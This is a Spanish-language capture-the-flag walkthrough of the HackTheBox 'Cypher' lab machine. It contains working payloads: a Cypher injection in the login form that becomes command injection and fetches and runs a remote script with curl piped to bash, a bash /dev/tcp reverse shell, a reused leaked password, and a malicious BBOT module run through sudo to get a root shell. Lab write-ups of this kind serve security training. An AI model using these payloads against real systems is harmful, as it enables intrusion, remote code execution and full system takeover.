Cypher – HackTheBox Link to heading

  • OS: Windows
  • Difficulty : Medium
  • Platform: HackTheBox

Avatar cypher


Resumen Link to heading

“Cypher” es una máquina de dificultad Media de la plataforma HackTheBox. La máquina víctima está corriendo un servidor web acerca de mapeo de superficies de ataques para organizaciones. Encontramos que la página tiene un panel de login vulnerable a una inyección para Cypher, un lenguaje de query. Además, inspeccionando por directorios ocultos encontramos un archivo .jar el cual filtra cómo funciona el backend, mostrando un parámetro inyectable el cual puede ser utilizado para una inyección de comandos a través del panel de login, ganando así acceso al sistema. Una vez dentro, encontramos credenciales para un segundo usuario. Este segundo usuario puede correr BBOT (un bot usado para reconocer vulnerabilidades) con privilegios. Creamos un módulo malicioso para BBOT el cual nos permite ganar acceso como el usuario root, comprometiendo así el sistema.


User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap, el cual muestra sólo 2 puertos TCP abiertos: 22 SSH y 80 HTTP:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.217.223

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 01:07 -03
Initiating SYN Stealth Scan at 01:07
Scanning 10.129.217.223 [65535 ports]
Discovered open port 80/tcp on 10.129.217.223
Discovered open port 22/tcp on 10.129.217.223
Completed SYN Stealth Scan at 01:08, 16.32s elapsed (65535 total ports)
Nmap scan report for 10.129.217.223
Host is up, received user-set (0.16s latency).
Scanned at 2025-03-02 01:07:45 -03 for 16s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.54 seconds
           Raw packets sent: 80015 (3.521MB) | Rcvd: 79731 (3.189MB)

Aplicamos algunos scripts de reconocimiento sobre estos puertos utilizando la flag -sVC:

❯ sudo nmap -sVC -p22,80 10.129.217.223

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 01:11 -03
Nmap scan report for 10.129.217.223
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

Del output para el protocolo HTTP podemos ver que se nos redirige a un sitio: http://cypher.htb.

Agregamos este dominio a nuestro archivo /etc/hosts junto con la IP de la máquina víctima ejecutando en una terminal:

❯ echo '10.129.217.223 cypher.htb' | sudo tee -a /etc/hosts

Visitando así http://cypher.htb en un navegador de internet muestra:

Cypher 1

El sitio parece mostrar gráficos utilizados para mapear superficies de ataques a organizaciones, algo bastante similar a lo que se muestra en herramientas como Obsidian o Bloodhound para ver relaciones entre conceptos.

Esto se puede corroborar clickeando en About en la parte superior de la barra http://cypher.htb/about muestra sobre qué trata este sitio:

Cypher 3

Clickeando en Try our free demo en la página principal simplemente redirige a http://cypher.htb/login, un panel de login:

Cypher 2

Pero las típicas credenciales admin:admin o root:root no funcionan.

Para revisar qué es lo que ocurre cuando enviamos credenciales es que interceptamos la petición enviada con Burpsuite. Vamos a http://cypher.htb/login e interceptamos la petición enviada al intentar loguearnos con un usuario y contraseña random. Interceptamos así la siguiente petición por POST:

POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://cypher.htb
DNT: 1
Connection: close
Referer: http://cypher.htb/login

{"username":"testuser","password":"testpassword"}

El sitio envía las credenciales a través de JSON, lo cual en principio indicaría que podría ser una base de datos NoSQL.

Buscando por Cypher injection en Google nos lleva a esta página. Allí, se habla sobre Cypher:


Un breve paréntesis, ¿qué es Cypher? En mi caso lo conocía porque sé que es lo que usa Bloodhound para organizar y mapear la información. De todas formas, un pequeño resumen de Cypher sería:

  • Cypher es el nombre corto de (Open) Cypher Query Language.
  • Es el lenguaje de peticiones de Neo4j el cual te permite extraer datos de los grafos. Es como SQL para bases de datos de grafos.
  • Fue originalmente diseñado para ser usado con Neo4j, pero se abrió al mundo a través del proyecto theopenCypher. Ahora es usado por otras bases de datos incluyendo RedisGraph, Spark, Amazon Neptune y SAP HANA Graph; entre otros.
  • Documentación: Cypher Query Language Reference, Version 9

En este caso el nombre de la máquina víctima (Cypher) indica que probablemente deberíamos intentar por el lado de inyecciones para Cypher u otras vulnerabilidades asociadas a este lenguaje. Basados en la página previamente mencionada podemos intentar inyecciones para Cypher a través de los caracteres:

'
"
'})

Probando con un sólo caracter ' (tratando de loguearnos como usuario test' y cualquier contraseña) obtenemos un mensaje de error en la página web:

Cypher

Si hacemos lo mismo, pero a través de Burpsuite enviando la petición:

POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://cypher.htb
DNT: 1
Connection: close
Referer: http://cypher.htb/login

{"username":"testuser'","password":"testpassword"}

Obtenemos como respuesta del servidor:

HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 02 Mar 2025 04:37:10 GMT
Content-Length: 3472
Connection: close

Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError}
<SNIP>

El error claramente dice que está usando una librería de Neo4j para Python; además de un error en el archivo app.py lo cual claramente indica que este servidor web puede estar corriendo sobre Flask. Dado que obtuvimos un error, quizás seamos capaces de inyectar parámetros.

Buscando por directorios ocultos a través de un Brute Force Directory Listing con la herramienta Gobuster retorna:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://cypher.htb --no-error -t 40

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cypher.htb
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 4986]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/demo                 (Status: 307) [Size: 0] [--> /login]
/index                (Status: 200) [Size: 4562]
/index.html           (Status: 200) [Size: 4562]
/login                (Status: 200) [Size: 3671]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================

Obtenemos un directorio testing el cual no habíamos visto antes.

Revisando su contenido con cURL junto con html2text en una terminal, retorna:

❯ curl -s http://cypher.htb/testing/ | html2text

****** Index of /testing/ ******
===============================================================================
../
custom-apoc-extension-1.0-SNAPSHOT.jar             17-Feb-2025 11:49
6556
===============================================================================

Tenemos un archivo Java llamado custom-apoc-extension-1.0-SNAPSHOT.jar.

Descargamos este archivo con wget:

❯ wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar -q

y revisamos su contenido con la herramienta Java Decompiler, también conocida como jd-gui (fácilmente instalable con sudo apt install jd-gui):

❯ jd-gui &> /dev/null & disown

Abrimos y decompilamos el archivo .jar con jd-gui. Eventualmente, encontramos una clase CustomFunctions.class con el contenido:

Cypher 6

public class CustomFunctions {
  @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
  @Description("Returns the HTTP status code for the given URL as a string")
  public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
    if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
      url = "https://" + url; 
    String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
    System.out.println("Command: " + Arrays.toString((Object[])command));
    Process process = Runtime.getRuntime().exec(command);
    BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
    StringBuilder errorOutput = new StringBuilder();
    String line;

Podemos ver un procedure custom.getUrlStatusCode el cual obtiene una url y luego es ejecutada con /bin/sh. Aquella línea presenta una potencial inyección de comandos ya que los parámetros dados para aquel “procedure” no está sanitizado.

Luego de buscar por más notas de inyecciones para Cypher, encontramos estas notas. Jugando con ellas, además del parámetro inyectable getUrlStatusCude, una de ellas parece funcionar. Primero, empezamos un servidor temporal HTTP con Python por el puerto 8000:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Acto seguido, en el panel de login del servidor (http://cypher.htb/login) intentamos una inyección en el campo username con contenido:

test' return h.value as a UNION CALL custom.getUrlStatusCode("test.com;wget http://10.10.16.5:8000/test;#") YIELD statusCode AS a RETURN a;//

Y cualquier contraseña.

Cypher 5

Obtenemos una petición GET desde la IP de la máquina víctima, lo cual indica que la inyección funciona:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.217.223 - - [02/Mar/2025 02:01:37] code 404, message File not found
10.129.217.223 - - [02/Mar/2025 02:01:37] "GET /test HTTP/1.1" 404 -

Para obtener una reverse shell, creamos un simple script de Bash cuyo contenido es:

#!bin/bash

bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"

Donde 10.10.16.5 es nuestra IP de atacantes y 443 es el puerto en el cual nos pondremos en escucha con netcat. Guardamos este archivo en nuestrar máquina de atacantes como rev.sh.

No olvidar asignarle permisos de ejecución al archivo creado:

❯ chmod +x rev.sh

Y exponemos aquel archivo a través del servidor HTTP con Python a través del puerto 8000:

❯ ls -la && python3 -m http.server 8000

total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Mar  2 02:11 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Mar  2 01:07 ..
-rwxrwxr-x 1 gunzf0x gunzf0x   62 Mar  2 02:11 rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En otra terminal, empezamos un listener con netcat por el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Y en la página web pasámos como username el payload:

test' return h.value as a UNION CALL custom.getUrlStatusCode("test.com;curl http://10.10.16.5:8000/rev.sh|bash;#") YIELD statusCode AS a RETURN a;//

Dando a su vez cualquier contraseña.

Obtenemos una solicitud en nuestro servidor temporal HTTP y, luego de ello, una shell en nuestro listener con netcat como el usuario neo4j:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.217.223] 53714
bash: cannot set terminal process group (1372): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ whoami

whoami
neo4j

Fuera de nuestro usuario, existe otro llamado graphasm:

neo4j@cypher:/$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash

Revisando /home/graphasm para ver si allí está la flag muestra:

neo4j@cypher:/$ ls -la /home/graphasm/

total 36
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 .
drwxr-xr-x 3 root     root     4096 Oct  8 17:58 ..
lrwxrwxrwx 1 root     root        9 Oct  8 18:06 .bash_history -> /dev/null
-rw-r--r-- 1 graphasm graphasm  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31  2024 .bashrc
-rw-r--r-- 1 graphasm graphasm  156 Feb 14 12:35 bbot_preset.yml
drwx------ 2 graphasm graphasm 4096 Oct  8 17:58 .cache
-rw-r--r-- 1 graphasm graphasm  807 Mar 31  2024 .profile
drwx------ 2 graphasm graphasm 4096 Oct  8 17:58 .ssh
-rw-r----- 1 root     graphasm   33 Mar  2 00:40 user.txt

Existe un archivo bbot_preset.yml. Revisando este archivo (sobre el cual tenemos privilegios de lectura) tenemos:

neo4j@cypher:/$ cat /home/graphasm/bbot_preset.yml

targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

Vemos una nueva contraseña: cU4btyib.20xtCMCXkBmerhK.

Podemos revisar si esta contraseña es válida para el usuario graphasm a través del servicio SSH con la herramienta NetExec:

❯ nxc ssh 10.129.217.223 -u 'graphasm' -p 'cU4btyib.20xtCMCXkBmerhK'

SSH         10.129.217.223  22     10.129.217.223   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8
SSH         10.129.217.223  22     10.129.217.223   [+] graphasm:cU4btyib.20xtCMCXkBmerhK  Linux - Shell access!

Es válida. Tenemos credenciales legítimas para SSH: graphasm:cU4btyib.20xtCMCXkBmerhK.

De esta manera, nos logueamos a través de SSH como el usuario graphasm:

❯ sshpass -p 'cU4btyib.20xtCMCXkBmerhK' ssh -o stricthostkeychecking=no graphasm@10.129.217.223

Warning: Permanently added '10.129.217.223' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Mar  2 05:26:02 AM UTC 2025

  System load:  0.0               Processes:             248
  Usage of /:   68.6% of 8.50GB   Users logged in:       0
  Memory usage: 24%               IPv4 address for eth0: 10.129.217.223
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Mar 2 05:26:03 2025 from 10.10.16.5
graphasm@cypher:~$

Podemos extraer la flag de usuario.


Root Link to heading

Revisando qué podemos ejecutar con sudo muestra:

graphasm@cypher:~$ sudo -l

Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

Podemos ejecutar BBOT como cualquier usuario sin proveer contraseña.

Buscando por BBOT encontramos su página web y su repositorio de Github:

Información
BEE-bot is a multipurpose scanner built to automate your Recon, Bug Bounties, and ASM!
En corto, es un bot para escanear vulnerabilidades a través de sus recursos expuestos a internet.

Lo que podemos ejecutar es en realidad un link simbólico a un script de Python:

graphasm@cypher:~$ file /usr/local/bin/bbot
/usr/local/bin/bbot: symbolic link to /opt/pipx/venvs/bbot/bin/bbot

graphasm@cypher:~$ file /opt/pipx/venvs/bbot/bin/bbot
/opt/pipx/venvs/bbot/bin/bbot: Python script, ASCII text executable

Podemos leer más información acerca de este bot y sus comandos avanzados. Leyendo, vemos que existe una capacidad de cargar módulos para ejecutar tareas. Una lista disponible de módulos se muestra aquí. Buscamos por cualquiera de estos módulos (por ejemplo, uno llamado hackertarget) para ver dónde están guardados; para ello usamos el comando find:

graphasm@cypher:~$ find /opt/pipx/venvs/bbot/ -name "*hackertarget*" 2>/dev/null

/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/hackertarget.py
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/__pycache__/hackertarget.cpython-312.pyc
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/test/test_step_2/module_tests/test_module_hackertarget.py
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/test/test_step_2/module_tests/__pycache__/test_module_hackertarget.cpython-312.pyc

Obtenemos un directorio:

/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/

Pero no podemos escribir en este directorio:

graphasm@cypher:~$ ls -ld /opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/

drwxr-xr-x 8 root root 4096 Oct  8 18:10 /opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules

Por otro lado, podríamos tratar de crear nuestro propio módulo, pero malicioso. Para ello podemos revisar la documentación oficial de BBOT. Lo que queremos es crear un módulo el cual ejecuta comandos a nivel de sistema. Para ello primero, creamos un archivo de configuración .yml con el contenido:

module_dirs:
  - /tmp/modules

Y lo guardamos como /tmp/conf.yml (notar que es una ruta absoluta).

Luego, creamos el directorio el cual contendrá el módulo malicioso, que en este caso llamaremos modules dentro del directorio /tmp:

graphasm@cypher:~$ mkdir /tmp/modules

Para crear un módulo, nos basamos en sl siguiente código de ejemplo dado en la documentación. Podemos modificar levemente aquel código para que éste ejecute un comando de sistema y nos envíe así otra reverse shell:

from bbot.modules.base import BaseModule
import os

class getrevshell(BaseModule):
    watched_events = ["DNS_NAME"]
    produced_events = ["GETREVSHELL"]
    flags = ["passive", "safe"]
    meta = {"description": "Revshell"}
    options = {"api_key": ""}
    options_desc = {"api_key": "WhoisXMLAPI Key"}
    per_domain_only = True

    async def setup(self):
        os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.5/443 0>&1'")
        self.api_key = self.config.get("api_key")
        return True

    async def handle_event(self, event):
        pass

Donde 10.10.16.5 es nuestra IP de atacantes y 443 el puerto en el cual nos pondremos en escucha con netcat. Guardamos este módulo en la ruta absoluta /tmp/modules/getrevshell.py, es decir, dentro del módulo /tmp/modules que habíamos creado antes.

Finalmente, no olvidando empezar un listener con netcat por el puerto 443, ejecutamos BBOT importando el archivo de configuración .yml con la flag -p y el módulo malicioso que hemos creado con la flag -m:

graphasm@cypher:~$ sudo /usr/local/bin/bbot -p /tmp/conf.yml -m getrevshell

Obtenemos una shell como el usuario root:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.129.217.223] 50006
root@cypher:/home/graphasm# whoami

whoami
root

GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking.